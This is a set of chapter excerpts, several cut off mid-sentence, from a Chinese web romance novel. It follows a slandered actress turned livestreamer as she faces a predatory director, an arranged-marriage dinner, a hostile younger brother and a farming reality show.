《身体不说谎》 1. 黑称 《身体不说谎》全本免费阅读 “你关注的小茶茶正在直播~” 手机叮咚一声,消息页面出现了这个通知。 黑粉边骂骂咧咧边点进了直播,又要开始新一轮骂战。 只见视频里出现了一个完全素颜的女生,刚好到肩胛骨以下的黑发微卷,这会儿还有点潮湿,想来刚才洗了澡。 直播间的人还不是很多,程三好看了看,丢了手中擦头发的毛巾,去到卧室换了一身宽松的月白竖纹睡衣。 衣服材质是廉价的棉料,现在已经被她穿得起球了,但是程三好一直没扔。 趿着一双毛绒拖鞋重新回到客厅,她双脚一蹬,懒散地盘腿在沙发上,将镜头对着自己。 随着纤细修长的脖子向上,巴掌大的小脸才完全露了出来。 马上就要入秋了,虽然公寓里开着空调,但是程三好体寒,手心脚心都是冰凉的。 思索了下,她拿过沙发一旁的呢绒毯子,呼噜地盖在自己身上。 房子是两室一厅的半包围结构,色调是暖黄和灰白结合,家具不是很多,显得有点空荡。 手机放在茶几上的支架上,为了更清楚地看到大家留言,她需要裹着被子倾身往前一点。 宽松的睡衣领露出一点锁骨,衬得装乖的人多了点诱。 这么一会儿的功夫,直播间人数已经逼近三千,别说少,对于她这么一个只有黑没有红的小明星,已经是较好的流量了。 黑粉们挤进直播间,没看到人,但不影响他们“开炮”,互相之间打的很是火热。 见程三好出现了,纷纷将矛头对准她。 “我就说她作吧,明明待在房间里,还要假装自己很冷,盖一床毛毯,装得可怜样。” “小茶茶,你怎么还有脸开直播?” “小茶茶,昨日怎么没直播,是怕了吗?” “纯属路人,就问小茶茶什么鬼?” “楼上别走,听我说,那是我们对她的黑称,谁让程三好又矫情又茶里茶气的。” 视频里的女人看着这条留言,托着脸,抿着嘴,像是有点害羞地说:“我觉得这个称呼很不错。” 网友:“……” “那几个路人大哥不要再刷礼物了,不要让这个女人得逞!” 黑粉明明没法语音,见不着人神色,可愤怒已经要把直播间点燃了。 他们贡献的只是直播间流量,刷礼物根本不可能,但是阻止不了路人或者说一些三观跟着五官跑的粉丝对程三好的喜爱。 只要她一笑,豪华礼物纷纷刷起。 于是滑稽的场面出现了。 黑粉越骂越起劲,程三好看得就越来越开心,她越开心,榜上的大哥们就使劲地刷礼物,结果黑粉们纷纷破了大防。 双手合十,程三好弯着眼角,稍微夹着点嗓子说:“各位哥哥,不要再破费了,你们能来看我,好好我就很是开心。” 如果说微博关注她的人有十万,黑粉就占了十一万,有的是纯粹讨厌没去关注的,有的是因为发言被禁的。 但是在茄子视频这个平台上,程三好坐拥五十万粉丝,也算得上是一个小网红了。 直播间里的黑粉都是从微博跑过来的,也算得上是贡献了一部分粉丝量吧。 为了谋生,她选择在这个短视频最火的平台上开始运营,硬是凭着贼拉漂亮的外貌吸引了众多的路人粉。 光是安安静静地坐在那里,靠别人的打赏,一天也能赚个四五百。 后来这个消息被黑粉们知道了,他们纷纷跑到程三好的直播里,向那些不知情的路人说她的黑料,想让这些大哥们清醒。 然后大家就看到视频里的人竟然落下了如珍珠般的眼泪,一滴一滴地砸在屏幕上,边擦眼泪边哽咽道:“总之不是那样的嘛。” 黑粉懵了,路人则是更加心疼了,她都说是误会,那必然是误会咯。 “别哭了,大哥给你刷礼物。” “那些黑子们别太过分,网络并非法外之地!”直播里甚至出现了“正道的光”。 看着满屏的礼物恍若烟花炸开,各种名牌跑车接连不断,程三好破涕为笑,握着拳头抵在鼻息,小声说:“谢谢。” 大哥们纷纷表示:这他妈太我见犹怜了,不要拦我,今天我就是要给她刷礼物。 黑粉们看着那炉火纯青的演技,嘴角一阵抽搐,随即把键盘敲得冒火。 “不是,你们都没去看她的黑料吗?” “这他娘的,明眼人都看得出来,她完全是装的嘛!” “助纣为虐,助纣为虐啊。” 自从那一场直播过后,黑粉们就给她取了个名称,叫小茶茶,总是蹲点进入直播间,骂她不要脸。 每当那时,程三好就会轻声说一句:“赚钱是不羞耻的。” 这简直是捅了马蜂窝,程三好的黑稿又是铺天盖地的而来。 “真的是求求那些大哥或者小哥哥们了,你们但凡上网一搜,绝对会被小茶茶的过去的骚操作震惊。” “聚众斗殴,把人家揍得如今还不能下床。” “打骂亲友,弟弟对她畏惧不堪。” “现场耍大牌,强迫肖乐保给她当小弟。” “公司好心扶持,却被背刺。” 黑粉们就差没声泪俱下了,不过在他们的用心良苦下,已经快到八十万的粉丝量骤减,最终维持在五十万。 当然那么多的黑通稿当中,没有一条是攻击她的长相的。 因为明眼人都看得出来,那张脸蛋就是上天赐予她最强大的武器,你黑她不就是在瞎着眼黑吗? 一些不信邪的黑粉就做了,结果就是让那些黑稿的可信度纷纷下降,起到反作用,认为他们是嫉妒人家的长相,于是吸引了一些小姐姐选择坚定维护程三好。 裹了裹毯子,视频里的人微微蹙着眉,唉声叹气起来。 “怎么了,姐姐。” “好妹妹,是礼物不够多?” “钱还不够,那我再使劲儿砸。” 视频里的人听到这些话,做出擦泪的动作。 因为很清瘦,所以腕骨突出部分明显,可以看到青色的细长血管。 黑粉在直播间也是会控评的,所以程三好需要仔细点,才不会让那些好的评论沉下去看不到。 2. 茶里茶气 《身体不说谎》全本免费阅读 程三好双手交叉在身前,闻言低头笑了起来。 “不了,我突然想起来有点急事,你们慢慢玩儿,我呢,就先走一步。” 陈导乐呵的嘴角平缓下来,只是用眼睛扫了王艳一眼。 刚才软绵绵坐着的经纪人立即正襟危坐,伸出手就要去扒拉程三好:“你说你这孩子真不像话,导演叫你过去,快!” 程三好略微侧过身子,没让这个女人碰她,面上还是一副很好说话的样子。 “谢谢经纪人你的垂怜,但我的确有重要的事要去做。” 说完,看也不看包厢里的众人一眼,果断地转过身想要开溜。 然而黑衣保镖戴着墨镜,双手背在背后,早早地等候在此,堵住她的去路。 “小姑娘,我从王艳那里得知了你的背景,知道你有一个重病的外婆,”陈导舒服地躺在沙发背上,几乎没有低头,而是让一个女演员跪着给他点了烟。 “现在的你肯定很急需钱吧,只要你跟了我,以后我的每一部戏都让你做女一号。” 他吸了口烟,透过寥寥青烟看向那个背影单薄、惹人怜爱的美人儿,眼睛里写满了欲望。 程三好不知听没听见,径直往前踏了一步,那些人立马逼近了她。 陈导看着这个小姑娘身上的倔强劲儿,那是越看越喜欢,倘若是个顺从的兔子,他便觉得没什么意思。 念头才冒出一瞬,就见不远处的倩影转过了身,双手抱在胸前,弯着膝盖求饶,神情十分恳切:“导演,你就宽宏大量放我走吧。” 边说着话边拱手弯腰,有点像别人求红包时的狗腿样子。 陈导的美好念想顿时碎一地,心想:好好的一张脸,白长了个姑娘。不是…… 是好好的一个姑娘,白长了一张脸。 总之不管怎么说都不太对,反正对程三好的好奇心那是急转急下。 不过人的身材,他还是十分肖想的。 保镖们接收到了老版的眼神信号,开始极具压迫感地上手去抓人。 还在丢人求饶的程三好突然摆开马步,压低身子,双手摆出一个漂亮标准的拳击姿势,带着点狠绝冲最前面的一个保镖,从下至上揍了对方的下巴一拳。 甩了甩手,女人的双脚灵活地走动起来,同时放松肩膀,前后旋转了几圈。 打拳的时候切忌挺胸,你得稍微弓着点身子,就像蛰伏的猎豹,时刻保持在一个防守加攻击的位置上。 因为没有带拳套,程三好打了第一拳出去以后,与对方骨头相撞,结果就是自己手指骨先淤青。 当然也说明了个问题,那就是她的力道之大。 那个受伤的保镖捂着下巴,往后倒退几步,其他保镖见状,不再是游刃有余的样子,纷纷警惕起来。 陈导的眼中倒映着那个身影,嘴角勾着点若有若无的笑意。 王艳见他这一副饶有兴趣的样子,心里嫉妒起来,涂着红色指甲油的手抓紧了短裙。 老练的她面上没有表现,甚至还能嫣笑着曲迎奉承:“您若是真喜欢,就是今天不行,改日我也会带她来见你。” “嘘,你影响到了我观赏的乐趣。”然而对方只是轻轻呵斥了一句,双眼始终没离开前方精彩的场景。 程三好没关注他们的对话,利用巧劲攀上保镖的肩膀,双腿死死夹住脖颈,拳头很刁钻地瞄准了男人们鼻头和眼睛。 这个时候的她可不乖巧了,甚至算得上冷酷,化身为无情的打人机器。 因为瞅准了这些人的弱点去打,对方不可能当即趴下,却是能给她留出一点时间,来对付偷袭的人。 男人与女人之间天生的力量悬殊,是基因所决定的,这个程三好不得不承认。但同时,也拥有了致命的缺陷。 接连脚踢好几个小辣椒以后,看着躺在地上一群捂住痛处哀嚎、脸上带彩的保镖,程三好用大拇指揩掉嘴角的一点血,抬起长腿越过这些人,就这样挺着身子,打开包厢的门离开了。 “陈导,这……你看,要不要我让人把她抓回来。”那个叫老王的“地中海”率先回过神来,诚惶诚恐地对上面的人说道。 其他人也纷纷应和:“对对对,这也太嚣张了。” “只要你说话,我就让兄弟们弄死这娘们儿。” “再不济,还可以给她下药,到时候还不是得乖乖听话。” 陈导嗤笑着看了这些人一眼,指着手点了点,嘲弄说道:“小野兔就得等她野够了才有滋味儿,再说了我陈望看上的女人,何时用得着你们动手。” “是是是,陈导说的哪怕是个屁,那也是香的,对不对?大家?”老王拍了拍大腿,一脸的谄媚。 “可不是嘛,在这淮市,别说女人,所有的一切都是陈家,是陈导的。”王艳因为把事儿给办砸了,这会儿可谓是使劲地找补。 两人一唱一和,把陈导说得很高兴。 离开酒店后,程三好低着头,将手插到衣兜里,走到路边拦下了一辆出租车。 “去宛江公寓。”她打开后座的车门坐了进去,始终低着头,语气里听不出情绪。 司机师傅看了看后视镜又转回头看向前方,重复几次后,终究还是不能坐视不管。 “小姑娘,要不要帮你报警?”大叔开的车很平缓,目视着前方,话却是对后面的人说的。 程三好抬起那一张嘴角有淤青的小脸,呵出一口气,摇了摇头说:“不用,不过还是谢谢你,大叔。” 包厢里的那几个人高马大的保镖根本没有动真格,倘若那个陈导下了死命令,她可就不是只有嘴角这一点伤而已了。 之后的发展也就能够猜得到了,公司不敢得罪那个导演,于是将她雪藏,坐上了冷板凳。 经纪人王艳甚至玩消失,没人负责带她,更遑论是接到戏了。 程三好想解约,回头一看合同上的违约金,后面的零多到,她看得眼花起来。 数了半天才数清楚,整整三千万,与她生活千差万别的数字。 ——赔不起。 于是只能耗,耗到五年的合同自然到期。 但是程三好忽略了人恶性的下限,那是无穷无尽的。 本来只要在这期间不犯过错,解约以后可以签约其他的公司,再好好拍戏,脚踏实地地走出一条路。 奈何乐娱传媒要断了她的后路,挖出了她以前拍摄过的一些视频或者说过一些的话进行剪辑拼接,买通营销号后,大量的黑稿源源不断产出、转发、播放。 自此,连一只脚也没踏进娱乐圈的小透明先是拥有了大批的黑粉。 程三好起初还有一点说不上来的难受,后来发现他们机械的评论以后,觉得大部分都是公司买的一些水军,不过真情实感讨厌她并黑她的也不少就是了。 既然公司不给她接戏,程三好就自己想办法跑去试镜。 没想到人家一听她的名字,想起网上看过的那些很真实的黑料,顿时不敢用她了,免得到时候弄得剧都播出不了,得不偿失嘛。 程三好当时很急于攒钱,竟然不能拍戏,经过一番深思熟虑后,入驻茄子视频。 起初是拍图文形式的小视频,再后来剪辑一些日常,等积攒到了一万粉丝,她就开通了直播。 没想到涨粉飞速,对于她来说,黑粉的话虽然不好听,但是也实实在在地给她直播间提升了流量,才会推荐给更多的路人,吸引他们进来。 4. 不妙 《身体不说谎》全本免费阅读 “来了?好好过来,我给你介绍一下。” 程伟国率先看到了女儿,招手让她来到自己身旁坐下。 当着外人的面,他永远一副慈爱的样子。 程三好乖乖女的气质拿捏得很好,当下也不拆穿他的真面目,轻轻地嗯了一声,提着小包落座。 “这就是你的方叔叔以及方阿姨,左手边那位就是他们优秀帅气的儿子方一明。” 程三好对着他们一一点头,算是打过招呼了。 三人像是才回过神来,方阿姨率先喜笑颜开道:“令嫒不愧是明星。” 方叔叔应和道:“对对对,和我们普通人的长相还是存在壁的。哈哈哈。” 程伟国心里得意,可面上却十分谦逊:“哪里哪里,真是谬赞了。” 程三好听到这里,还是忍不住腹诽道:说的是你吗?你就谬赞,谬赞。 她这样想着,突然感受到一道炙热的目光。 追随着看过去,那个叫方一明的男人极快地扭过了头,独留一只红彤彤的耳朵对着她。 不会吧。 程三好有了不好的猜测。 以前的这种饭局,因为和男方一样都是被家长胁迫着来的,所以事情就不了了之。 看今天的这个架势,有点不妙啊。 期间两家父母断断续续地交流着,很明显,说的很开心,程三好就当是来吃个饭,方一明则从小心地窥看,到明目张胆的盯着看她。 方家父母眼尖地发现了儿子的异常举动,为了帮他,方阿姨对着程伟国他们说:“要不要让两个小年轻的出去逛逛。” 黎萍接过话茬:“可以啊,我们到底是大人,最终结果还是得靠他们自己做主。” “那……一明带着程小姐出门散散步,消消食。”方阿姨笑着推了推自己的儿子。 方一明动作局促地站起来,视线有些害羞地看向程三好。 “既然如此,那我们走吧。” 还是程三好先说了这句话,她放下筷子,站起身就往外走。 “快啊,一明跟上去,这个时候傻愣什么!”方阿姨有些为自己的儿子着急。 方一明这才举步出去。 程三好没有走远,就站在包厢外五步的距离,见人出来了,待在原地直到他靠近。 “去临洋路上吧,我有话对你说。” 完了,程三好想了想又接着道:“你同意吗?” 方一明压根不敢和她对视,只能一个劲儿地点头。 两人并肩慢悠悠地踱步在人行道上,程三好拣着措辞道:“你喜欢我?” 方一明不可置信地停住脚步,没想到这个人那么直接。 “不回答也可以,”程三好也停下来,眼睛看着对方,神色认真,“我完全没有结婚的想法,也根本不可能将自己的人生大事交于联姻。” “这场饭局完全是我父母的自作主张,我已经经历过很多很多次这样的场景了,你能明白吗?” 方一明不是傻子,知道人家没那个意思,但是迫于父母的压力,才不得不出席这样的场合。 直播里看着人,像是隔着一层薄薄的纱,虽然漂亮,却有浑之不去的疏离感。 这会儿在现实里见着本人,发现那样的外貌格外地清晰艳丽,嗓音透透亮亮的,听起来很是舒服。 “我是你的粉丝,”方一明坦白道,面对偶像的那种紧张,他表现的很真切,怕程三好误会,他又急忙说,“我对你的喜欢不是那种,而是粉丝滤镜的那种喜欢,从来没想过让你当我的女朋友。” 程三好心下诧异,问:“那你也是被父母逼迫来饭局的吗?” 方一明挠了挠头,像是有一些不好意思:“不是的,我的父母很爱我。是程叔叔他们找到了我爸妈,提出了联姻的想法,在事业上可以互相帮助。 “爸爸虽然很急迫改变公司现状,但是,他是先拿着你的照片找到我,问我有没有那个意思。我激动不已,只想着能和你见一面就很是荣幸了,于是就答应了。” “你说你的父母是不会逼迫你,娶自己不喜欢的女孩作为妻子的,是吧?”程三好抓住其中的关键点。 “嗯,是的。”方一明不懂她为何要这样问,但还是回答道。 程三好的脑子飞快转着,一个惊人的计划正在慢慢浮现。 首先小粉丝对她的喜欢,不是那种爱情的喜欢,其次他家对商业联姻不看重,最后两人皆是单身状态。 “我可以利用你吗?不骗身,不骗心,更不骗财。”程三好一字一顿地说清楚。 “什么意思?”方一明还算理智。 “就是借一个名头,你我回去都对父母说,我们打算先相处相处,熟悉了一点后再进行下一步。这样可以吗?” 程三好说完,又补充道:“一旦你有了喜欢的女孩子或者交了女朋友,你就与我通气,到时候我们二人同父母说清楚就可以了。” 她有求于人的时候,会不自觉地抿紧下嘴唇,眼睛的瞳孔较黑,映照着路灯,显得格外亮。 方一明看着看着,反倒耳朵再度红了起来,一路红到了后脖颈。 他欲盖弥彰地伸手捂住,抬眼飞快看了她一下,才说:“就是一个小忙而已,不要说什么利用这种难听的话。” 程三好有些意外,她挑了挑眉,顺着他的话说:“好的,那你帮吗?这个忙。” “当然。” “谢谢。”这次的笑里多了几分真心,还有不动声色的轻松。 方一明多看了几眼,心里却在想:网上的信息繁杂,真真假假瞧不清楚,通过一些只言片语就断定这人如何如何,果然很不靠谱。 两人回到包厢,大家伙又坐在一起聊了聊,才各自坐车回家。 程三好跟在程伟国他们二人身后进了屋,一眼就瞧见了坐在客厅中打游戏的程生泉。 她也没说什么,径直去到二楼自己的房间。 “爸,妈,你们回来了?”程生泉放下搭在茶几上的双腿,扭头对他们说。 “嗯,”黎萍接过丈夫的外套放到一旁的衣架上,“吃饭了吗?” “吃了的,陈嫂给我做了饺子,很不错。”程生泉对着父母总是不易察觉地撒娇,哪怕他已经二十二岁了。 黎萍和程伟国往客厅走,对他纵容道:“妈回头也学学,好让你能吃上这种口味。” “瞧你说的,你给我做任何东西,哪回不是吃得干干净净。” 他带着点“奉承”的语气让三人都笑了起来。 程伟国点了点他,佯装生气:“惯会嘴贫。” “老公,莫非是小泉没有夸赞你,才生气的吗?” “太太你也是站在他那边的吗?” “哈哈哈哈。” 程生泉和他们闲聊了一会儿,才假装不在意地问:“程三好的事情怎么样?” 直接称呼自己姐姐大名,程伟国他们却一脸淡然,想来是默认他这样喊了很多年。 “应该是稳了,”黎萍将美甲一一摘下来放到盒子里,“那方家小子对程三好明 5. 偏心 《身体不说谎》全本免费阅读 敛下眸子,程三好若无其事地往里行。 试镜房间是临时搭建的黑棚子,从外面看不出来什么,可里面十分宽大,天花板直接到酒店顶,几盏大型摄像机对着,灯光亦然十足明亮。 她径直走到中央的那张凳子上,挺胸抬头看向前方。 正面不远处有一张古典漆木长桌,后面坐着三个年龄不相等的男人。 他们每个人面前分别有一个立体名牌,上面有他们的名字以及担任剧组的职能,从左往右,分别是副导演、导演、制片人。 除了这几人,最右边单独有设立了个位置,名牌上写到:总出品人/监制——江砚。 程三好目光从桌子下的黑色皮鞋缓缓移到男人的上半身,只见他穿着白色熨烫规整的衬衫,外头搭着件墨蓝竖纹马甲。 喉结下的纽扣敞开了个,深蓝色领带松松垮垮的,显得整个人有点痞气。 再往上,程三好撞进了一双漫不经心的眼睛里。 对方懒散地瞥她一眼就移开了视线。 那么多年过去了,他的五官变化不大,尤其那对锋利的眉弓。 体型却是从一个男高的青涩,变作了成年男性极具荷尔蒙的阔挺。 肌肉虬扎的手臂在衬衫下隐隐可现,坚实宽大的肩膀彰显着压迫感,哪怕和其他男人一样落座同样的凳子,身高也足足高了几公分。 他单手撑着下巴,看了那一眼后,就低眸把玩桌上的金色钢笔。 眼睛是有点内勾的桃花眼,眼尾微微下垂,认真瞧着你的时候,会显得及其深情,算计人一眼扫过去的时候,却又凌厉得似有刀锋刮过,让人蓦地生出寒意。 浓黑眉毛从眉心一路延伸到眼睛末端上面时,突然急转向上勾出个小型弯刀,顺着向下生长直至眼尾。 不看眼睛,嘴角平缓下扬时,活脱脱的阎王,因为眉峰太凶了。 江砚没变,却又好像完全变了。 曾经的碎发变作了干脆利落的背头,整个人比以前更有气质,不近人情的意味更浓厚了。 “程三好是吧?”中间的张导低头浏览完单子,抬眼看向前方的人问道。 “是的。”收回视线,程三好专心起来。 “你写了有种田经历,能大概说说这经历有多少吗?” “十三岁以前一直和外婆待在乡下,基本上除了上学的日子,我都会和她一起干活儿。” “都做了些什么呢?”制片人也加入话题。 “种植玉米、土豆、苦荞、红豆……,完了,一一收割、晾晒、储藏……除了这些,还要和小伙伴一起去放牛、割草……”程三好尽力将会做的事情都说清楚。 “对粮食的市场价了解吗?”张导眼睛明显亮起来,撑着手倾身往前。 “如果是将粮食卖给中间商倒是了解一些。” 张导:“肥料……” 程三好:“氮肥、磷肥……基肥要靠牛圈里的……” 张导:“身体健康状况?” 程三好:“除了轻微鼻炎,没任何问题。” “……” 这一场“试镜”比程三好想的还要严谨和苛刻,时间长达半个小时。 结束以后,她站起身准备往外走时,听到背后的张导意味深长的一句。 “回去后,注意电话。” 她应了,径直出了房间。 人走后,江邱见江砚目光看向出口,弯腰压低声气问:“老板,还有什么问题吗?” “没有。” 男人开口说了迄今的第一句话,虽然语气漠然,但江邱敏锐地听出来不悦。 怎么看,作为秘书的江邱只能想到,那就是流程太慢,他不耐烦了。 于是接下来的程序推进很多,筛选人越加严格。 …… 回去后的程三好没等几天,就接到了张导的电话,让她带着行李前往映华娱乐公司面前,到时候和其他嘉宾一起坐大巴前往录制地——秋水村。 出发前一夜,她接到了通电话,是来自萍水镇的外婆的。 “好好,吃饭了没?” 黎芳园正坐在小院儿里的葡萄架下择红豆丝,准备待会儿煮熟,明天就可以当个菜了。 她的眼睛老花得严重,高三那年,程三好攒够了钱,给她买了一副较贵的远视镜。 那会儿程三好没有锁门的习惯,于是和别人赌博输了,不敢告诉父母的程生泉,偷偷进到她的卧室打算找钱。 翻抽屉时,没注意到桌子上的银色框眼镜,手肘将它扫到,掉在瓷砖上直接碎了。 程三好刚好放学回来,进门就看到这一幕,那“蹦当”声犹如一把刀刺进了她的耳朵,叫她感到一阵嗡鸣。 等她反应过来的时候,她已经握紧拳头,快步走上去给了他一巴掌。 “啪——” 耳光声比远视镜砸碎的声音还要响亮。 程生泉以为她在为他偷钱的行为而生气,当下只觉得大惊小怪,未免太过了。 “没必要吧,拿你一些钱而已,你凭什么打我!”他越说越理直气壮,“我爸妈都没打过我!” 程三好气得身体都在发抖,她努力控制着自己的语气,说:“还我眼镜。” 见她眼眶都红了,还僵硬地挺直身子扬起头看着他,程生泉扫了一眼地上那个碎掉的眼镜,终于有点心虚道:“明天我有了生活费以后,再还给你钱,行了吧?” 说完他还小声埋怨道:“只是一副眼镜而已,至于吗?” “至于!”程三好来到这个家以后发出了第一声爆吼。 “我辛辛苦苦攒了一千块钱给外婆买了眼镜,”她说着话,声音已经哽咽,但一直强撑着没落泪,“你还我……” 程生泉捂着被打的侧脸,被她一吼,本来就不爽的他,突然满脸黑色地瞅着人,伸手指向门外,沉声道:“滚!现在就给我滚,滚回你的乡下去,我们家不欢迎你!” 他只比程三好小一岁,现在已经是一位高中生了。 男生的身高增长往往在这个时期达到峰值,当下比程三好高很多的身体骤然靠近,语气恶毒得不像一个人。 “你为什么要出现在这个世界上!为什么要来到这个家!你怎么还不去死!偏偏要来抢夺属于我的一切!” 他面目狰狞地吼完这句话,偌大的别墅里面,安静得落针可闻。 程生泉一直到十二岁,都是程父程母眼中的宝贝,他享受着没有兄弟姐妹带来争爱,霸占着独一无二的关心。 可是有一天,爸妈带回来了一个怯生生的女生,指着那个瘦弱的孩子对他说:“生泉,叫姐姐。” 一点准备和提前通知都没有,他们瞒了他那么多年,直接带着个天降姐姐“入侵”他的私人领地,还要他欢喜着接受。 程生泉没叫,愤怒中夹杂着委屈,将怀里喜爱的奥特曼小人砸向了他们三 6. 痛快 《身体不说谎》全本免费阅读 听到外婆的话,她正坐在床上认真剪着指甲,手机就放在跟前的床铺上,她略微低头靠近,说:“吃了,外婆你呢?” 黎芳园听到手机里的咔擦声,将红豆丝收集起来倒进垃圾桶,才说:“外婆我今天晚上吃的青椒炒土豆丝呢,你在剪指甲?” “嗯,”程三好想了想还是对她说,“我接到了一个综艺,是关于种田的。” 黎芳园只知道外孙女当了明星,并不知道她与公司之间的事,当下高兴地一拍大腿,语气里藏不住的欣喜。 “真棒!那我又可以在电视上看你了?”说到这,老婆子带着点怨念,“你拍的那一部网剧,我都快盘包浆了。” 程三好眼角弯着,笑出了声:“谁教你这么说的?” “对面你王大嫂家的儿子——王小谱教我的。”听着还有点炫耀的意思。 “真厉害。”程三好毫不犹豫地将赞美送出去。 黎芳园跟她不管说话还是打电话,脸上都会不易察觉地带着点慈祥。 “对了,”程三好丢了指甲剪,坐直身子,拿着手机贴近问,“外婆,你收到了程伟国他差人送来的一箱苹果没?” 黎芳园神情厌恶地“呸”一声,才说:“你放心,虽然我收到了,但我全给喂猪了。” 程三好面上有些凝重,叮嘱道:“我不在你身边,陌生人送来的东西都不要吃,也不要跟他们走。” “你还当我是三岁小孩?那程伟国我见一次都要打一次的,怕个球!”黎芳园平日里温和得很,只有提到程家才会泼辣暴躁起来。 “身体最近怎么样?” “好得很,你甭担心。” 程三好还想问,老婆子直接开口嚷嚷道:“是不是该睡觉了啊,我都困了。” 她止住话头,明白外婆不想继续这个话题,只是说:“那就这样,你早点睡。” 挂了电话后,程三好平躺在床上,看了天花板几分钟,才闭上眼睛睡了过去。 打出租车到了映华娱乐公司门口时,她一眼就看见了那辆写着《种田吧》几个字眼的大巴车。 托着行李杆往车门处走,看到对面缓缓而来的人,一时愣住。 “你也是来参加这个综艺的?”程三好语气听不出喜乐。 肖乐保穿着灰色卫衣,脚上踩着一双红蓝相间运动球鞋,头戴棒球帽,一看见了她,就小跑着迅速到了她的跟前,一脸的少年气。 “大哥,你听我解释。”说出来的话却极其怂。 他边说边就要放开行李箱鞠躬道歉,被程三好一把提着衣领。 “别丢人。” 肖乐保顺势站直身体,一双狗狗眼里全是真诚。 “本来我只是听说了这么个综艺,就把它告诉了你,没想到经纪人不知从何渠道了解到你被选上了,就撺掇我也去试镜,我还欠他几首曲子呢,只能答应去了。” 他神情憋屈至极,语气里尽是不可置信:“我哪会种田啊,更何况我有意落选,所以表现特别差劲儿。” “没想到……没想到会被选上了!我看那些导演被我经纪人哥收买了,气死我!” 程三好在他说的途中欲言又止,奈何没有插话的机会。 等他一口气说完,漫不经心地拍了拍他的肩膀,淡淡说:“张导在你身后。” 说完扭头上了大巴车,留下一个“自求多福”的背影给他。 肖乐保的表情僵住,半张着嘴侧过身,看到了以张导为首的节目组。 他们拿着设备,胸前戴着工作牌,衣服清一色的是黑色半袖,正在睁大眼睛看着他。 肖乐保合上嘴,吞咽了一下口水。 张导眨了下眼睛,抬头纹缓和下来,目视着这个“少爷”:“我没被你经纪人收买。” “当然,我肯定是相信导演你的。我那是开玩笑,开玩笑,哈哈。” 肖乐保挠头,跟程三好一样,很是能屈能伸,关键时刻,狗腿准没错。 张导看着这个和自己儿子差不多大的少年,嘴角一扯,心想:这世界是怎么做到,不同家庭长大的孩子统一的性格的。 他压根没把那种话放心上,大度地说:“行了,去吧。” 肖乐保“得愿以偿”地鞠了一躬,提着行李上了车。 他进车才发现,其他人还没来,就只有他和程三好二人。 大哥穿着一件白色薄款长袖T恤,坐在后排的窗边位置,抱着手懒撒地蜷在靠背上,闭着眼睛,周身散发着不好惹的气息。 肖乐保将行李箱放到车身上方凹槽里,径直朝她走去,就坐在她旁边的位置。 “也不知道剩下的三个人是怎样的性格?”肖乐保安静不了几分钟,是个妥妥的话唠,不说话不舒服。 “不知道。” 今天温度有点高,太阳直射在大巴车车顶,车里显得就有点热。 对于程三好却是再好不过的环境了,暖和容易让她困意来袭,嗓音自然是懒洋洋的。 “虽然是去种田,但是就当是去体验了,更何况还有大哥你在。” 肖乐保也不知自个儿在那里傻乐什么,像是找到了中学时期去春游时的那种兴奋。 程三好掀起眼皮看他一眼,仰头想了想,道:“这是你第一次参加综艺吧?” 乐呵呵的肖乐保说:“是啊,大哥你不也是第一次吗?” 程三好一哽,承认道:“对。” 车里又沉寂下来,随后响起了窸窸窣窣的声音。 肖乐保从卫衣口袋里掏出一板可乐味儿的口香糖,打开外层的包装纸后,先拿出一颗给大哥。 程三好摇了摇头,表示不吃。 肖乐保也不客气,自顾自的嚼起了口香糖,直男发问:“你是怕嚼了以后腮帮子变大,影响形象吗?” “是啊,毕竟我如此花容月貌,就靠它吃饭了。”程三好透过窗户,看见不远处提着行李而来的嘉宾,恬不知耻地说。 她没说其实是因为懒得嚼,费劲儿。以前吃过几次,发现太累了,于是放弃。 肖乐保被逗乐,肆无忌惮地哈哈大笑了几声。 笑完,他蓦地想到什么,说:“讲真的,一开始告诉你有这个综艺时,虽然对你说很大概率会被选上,但其实我的心里特没底。” “为什么?”程三好收回视线。 “因为乐娱那王八蛋的骚操作,一直没人敢用你。你网上那些子虚乌有的黑料,说实话哪个明星或多或少没有点?对于拍戏其实根本 7. 很漂亮的男人 《身体不说谎》全本免费阅读 其余的两个嘉宾一同到了。 许琪十八岁,是江砚的表妹,染着一头金黄的卷发,穿着亮白金丝边短裙,五厘米的镶钻高跟鞋踩在地面发出“当啷当啷”的脆音,一张小脸上矜持却又自信,是真正娇生惯养的公主。 许母听说了江砚正在策划的综艺是关于种田的,就起了心思,想要将小女儿许琪塞进他的节目,借此来锻炼锻炼她。 江砚性子冷,若是常人,自然当没看见。但他的父母亡故后,是许姨抗住压力,将他接过去照顾了他一段时间,更何况为了制造综艺话题,这种吃不了苦的小女生也适合,于是就答应了她的请求。 许琪自小学习舞蹈,前不久刚考上心仪的舞蹈学院,没来及享受期待已久的暑假,却得知了要去种田的坏消息。 她自是不愿的,奈何父母停了她的生活费,肩不能提、手不能扛的她别说去做兼职,就是饭吃得差劲点,她心里都很抗拒,难受得不像话。 那几天一直在和许母吵架,但是这一次,她的爸爸和哥哥都站在她妈那边。 自小被溺爱长大的许琪感受到了“背叛”,委屈过后,竟然生出一个念头,那就是要证明给他们看看,她没那么差劲。 她签了合同,提上满满当当的行李箱出发,到达表哥公司门口,看到了她妈派来的助理——李哥。 许琪感性得很,知道她妈刀子嘴豆腐心,到底还是担心自己的,当下感动不已。 她杵在大巴车门口,后续到达目的地的赵柯只能开口:“你好,麻烦让一下。” 许琪被这人阴郁的气质吓一跳,愣愣地让开身体,看着他上车,才反应过来,这人也是嘉宾。 想到以后要跟这样的人录制综艺,她突然想跑,但是转瞬一想,她可是要证明给父母看的,于是举步跟了上去。 程三好看了一眼就没再看,前方的座椅一动,是赵柯选择了这个位置。 这次综艺有点意思,好几个“熟人”。 她重新闭上眼睛,肖乐保突然“我靠”一声,紧接着就是惊愕地说:“许琪……你怎么也来参加了?” 许琪也没想到遇到了童年玩伴,还是暗恋了多年的领居大哥哥。 她脸上一阵慌乱,破有点无措,更多的是重逢后的惊喜。 “肖……哥哥,”这个称呼太久违了,许琪感觉陌生却又心潮澎湃,她手捏到裙子边,羞怯说,“好久不见。” 肖乐保像是没看到女孩子的脸上黄晕,依旧阳光开朗地道:“嗯,好久不见。” 他还是那么富有少年气,还是那么英俊耀眼。 许琪忍不住的开心,跟个小傻子一样站在过道。 肖乐保见状,只好帮她把行李箱放好,指了指韩小希旁边的位置。 “就坐这儿,车要开了,”他说着话,却没看人,叮嘱,“记得系上安全带。” “嗯,”许琪乖乖坐下,低头寻找安全带却怎么也扣不上,“这怎么那么难搞。” 她的脸皱成一团,因为窘迫,耳朵尴尬得红了,额头冒出细小的汗珠,腔调听着要哭了。 肖乐保正要开口,韩小希就上手帮她系上:“这样系。” 